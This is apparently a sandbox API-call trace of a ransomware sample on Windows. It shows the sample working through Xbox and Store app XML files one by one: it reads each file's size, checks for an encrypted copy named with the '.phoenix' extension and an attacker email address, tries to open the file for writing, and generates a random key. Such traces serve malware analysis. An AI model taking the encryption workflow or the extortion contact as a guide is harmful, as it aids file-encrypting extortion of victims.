	[0230.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.323] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.324] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28503) returned 1
	[0230.324] CloseHandle (hObject=0x2f0) returned 1
	[0230.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.324] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.324] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.324] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.324] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=12830) returned 1
	[0230.324] CloseHandle (hObject=0x2f0) returned 1
	[0230.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.324] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.325] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.325] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.325] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17572) returned 1
	[0230.325] CloseHandle (hObject=0x2f0) returned 1
	[0230.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.325] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.325] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.325] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.326] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=813) returned 1
	[0230.326] CloseHandle (hObject=0x2f0) returned 1
	[0230.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.326] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.326] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.326] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.326] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=813) returned 1
	[0230.326] CloseHandle (hObject=0x2f0) returned 1
	[0230.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.326] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.326] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.327] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=19049) returned 1
	[0230.327] CloseHandle (hObject=0x2f0) returned 1
	[0230.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.327] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.327] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2270) returned 1
	[0230.327] CloseHandle (hObject=0x2f0) returned 1
	[0230.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.328] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.328] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=828) returned 1
	[0230.328] CloseHandle (hObject=0x2f0) returned 1
	[0230.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.328] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.328] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1564) returned 1
	[0230.328] CloseHandle (hObject=0x2f0) returned 1
	[0230.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.329] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.329] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4746) returned 1
	[0230.329] CloseHandle (hObject=0x2f0) returned 1
	[0230.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.329] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.329] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8809) returned 1
	[0230.330] CloseHandle (hObject=0x2f0) returned 1
	[0230.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.330] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.330] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=12842) returned 1
	[0230.330] CloseHandle (hObject=0x2f0) returned 1
	[0230.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.330] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
